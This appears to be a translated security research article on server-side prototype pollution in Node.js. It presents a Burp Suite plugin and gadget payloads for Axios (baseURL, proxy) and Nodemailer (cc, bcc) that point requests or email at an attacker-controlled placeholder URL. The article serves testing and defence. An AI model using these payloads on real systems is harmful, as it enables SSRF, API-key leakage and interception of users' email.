引言
原型污染最近已成为Web安全领域一种流行的漏洞。这种漏洞发生在攻击者利用JavaScript原型继承的特性来修改对象原型时。通过这种方式，他们可以注入恶意代码或改变应用程序的行为，可能导致敏感信息泄露、类型混淆漏洞，甚至在某些条件下实现远程代码执行。
// 浏览器控制台中的原型污染示例Object.prototype.isAdmin = true;const user = {};console.log(user.isAdmin); // 输出：true要完全理解这种漏洞的利用，关键是要了解"源"（sources）和"小工具"（gadgets）的概念。
源：在原型污染背景下，源指的是执行递归赋值而未适当验证涉及对象的代码片段。这种行为为攻击者修改对象原型创造了途径。原型污染的主要来源包括：
- 自定义代码：开发人员编写的代码，在处理用户输入前没有充分检查或清理易受攻击的库：包含漏洞的外部库，通常通过未能验证合并或扩展对象安全性的递归赋值导致
// 导致原型污染的递归赋值示例function merge(target, source) { for (let key in source) { if (typeof source[key] === 'object') { if (!target[key]) target[key] = {}; merge(target[key], source[key]); } else { target[key] = source[key]; } }}小工具：小工具指的是利用原型污染漏洞实现攻击的方法或代码片段。通过操纵基础对象的原型，攻击者可以根据应用程序的结构和污染原型的性质，改变应用程序逻辑、获得未经授权的访问或执行任意代码。
技术现状
在深入研究我们的具体研究之前，了解现有原型污染研究的情况至关重要。
在客户端，有丰富的研究和工具可用。对于源，GitHub上的编译是一个极好的起点。至于小工具，各种技术文章都详细记录了探索和利用技术。
此外，还有设计用于在命令行和浏览器中自动检测和利用此漏洞的工具，包括PP-Finder CLI工具和Burp Suite的DOM Invader功能。
然而，服务器端原型污染的研究和工具环境呈现出不同的情况：
PortSwigger的研究提供了对服务器端原型污染的基础理解，包含各种检测方法。但一个显著限制是，其中一些检测方法随着时间的推移已经过时。更重要的是，虽然它在识别漏洞方面表现出色，但没有扩展到使用小工具促进其实际利用。
YesWeHack的指南介绍了几种有趣的小工具，其中一些已被纳入我们的插件中。尽管有这个有价值的贡献，但该指南偶尔会涉足可能与现实应用程序环境不完全一致的假设场景。此外，它没有提供在黑盒测试环境中发现小工具的自动化方法。
这种概述强调了在服务器端原型污染研究中需要进一步创新，特别是在开发不仅能够检测而且能够以实用、自动化方式利用此漏洞的工具。
关于插件
根据前面讨论的见解，我们开发了一个用于检测服务器端原型污染小工具的Burpsuite插件：Prototype Pollution Gadgets Finder，可在GitHub上获取。该工具代表了Web安全领域的一种新颖方法，专注于精确识别和利用原型污染漏洞。
该插件的核心功能是从请求中获取JSON对象，并系统地尝试使用预定义的小工具集污染所有可能的字段。例如，给定一个JSON对象：
{ "user": "example", "auth": false}插件会尝试各种污染，例如：
{ "user": {"__proto__": <polluted_object>}, "auth": false}或者：
{ "user": "example", "auth": {"__proto__": <polluted_object>}}我们决定创建一个新插件，而不是仅仅依赖自定义检查（bchecks）或PortSwigger博客中强调的现有服务器端原型污染扫描器，是出于实际需要。这些工具虽然在检测能力上很强大，但不会自动恢复检测过程中所做的修改。鉴于某些小工具可能对系统产生不利影响或改变应用程序行为，我们的插件专门通过仔细移除检测后的污染来解决这个问题。这一步骤对于确保利用过程不会损害应用程序的功能或稳定性至关重要。
此外，插件引入的所有小工具都在带外（OOB）操作。这一设计选择源于这样的理解：污染的来源可能与应用程序代码库中小工具触发的位置完全分开。因此，利用是异步发生的，依赖于等待交互的OOB技术。这种方法确保即使被污染的属性没有立即使用，一旦应用程序与中毒原型交互，仍然可以被利用。这展示了我们扫描方法的多样性和深度。
发现小工具的方法论
为了发现能够改变应用程序行为的小工具，我们的方法涉及对常见Node.js库文档的彻底检查。我们专注于识别这些库中的可选参数，这些参数在修改时可能引入安全漏洞或导致意外的应用程序行为。我们方法的一部分还包括定义描述插件中每个小工具的标准格式：
{ "payload": {"<parameter>": "<URL>"}, "description": "<Description>", "null_payload": {"<parameter>": {}}}- Payload：表示用于利用漏洞的实际payload。
<URL>占位符是插入合作者URL的地方Description：提供小工具功能或利用漏洞的简要说明Null_payload：指定应用于恢复payload所做更改的payload，有效"去污染"应用程序以防止任何意外行为这种格式确保了一致清晰的方式来记录和分享安全社区中的小工具，促进原型污染漏洞的识别、测试和缓解。
Axios库
Axios广泛用于发出HTTP请求。通过检查Axios文档和请求配置选项，我们确定了某些参数（如baseURL和proxy）可能被恶意利用。
易受攻击的代码示例：
app.get("/get-api-key", async (req, res) => { try { const instance = axios.create({baseURL: "https://doyensec.com"}); const response = await instance.get("/?api-key=<API_KEY>"); }});小工具解释：操纵baseURL参数允许将HTTP请求重定向到攻击者控制的域，可能促进服务器端请求伪造（SSRF）或数据泄露。对于proxy参数，利用的关键在于能够建议出站的HTTP请求可以通过攻击者控制的代理重新路由。虽然Burp Collaborator本身不支持作为代理直接捕获或操纵这些请求，但它可以检测应用程序发起的DNS查找这一微妙事实至关重要。能够观察到对我们控制域的DNS请求，由污染代理配置触发，表明应用程序接受了这种中毒配置。它突出了潜在的漏洞，而无需直接观察代理流量。这种洞察使我们能够推断，通过正确的设置（在Burp Collaborator之外），可以部署实际的代理来完全拦截和操纵HTTP通信，展示漏洞的潜在可利用性。
Axios的小工具：
{ "payload": {"baseURL": "https://<URL>"}, "description": "修改'baseURL'，导致Axios等库中的SSRF或敏感数据暴露。", "null_payload": {"baseURL": {}}},{ "payload": {"proxy": {"protocol": "http", "host": "<URL>", "port": 80}}, "description": "设置代理以操纵或拦截HTTP请求，可能泄露敏感信息。", "null_payload": {"proxy": {}}}Nodemailer库
Nodemailer是我们探索的另一个库，主要用于发送电子邮件。Nodemailer文档显示，像cc和bcc这样的参数可能被利用来拦截电子邮件通信。
易受攻击的代码示例：
transporter.sendMail(mailOptions, (error, info) => { if (error) { res.status(500).send('500!'); } else { res.send('200 OK'); }});小工具解释：通过在电子邮件配置中将我们自己添加为cc或bcc收件人，我们可能拦截平台发送的所有电子邮件，获得对敏感信息或通信的访问权限。
Nodemailer的小工具：
{ "payload": {"cc": "email@<URL>"}, "description": "在电子邮件库中添加CC地址，可能拦截所有平台电子邮件。", "null_payload": {"cc": {}}},{ "payload": {"bcc": "email@<URL>"}, "description": "在电子邮件库中添加BCC地址，类似于'cc'，用于拦截电子邮件。", "null_payload": {"bcc": {}}}我们的方法强调了理解库文档以及可选参数如何被恶意利用的重要性。我们鼓励社区通过识别新小工具并分享它们来做出贡献。请访问我们的GitHub存储库获取完整的安装指南并开始使用该工具。
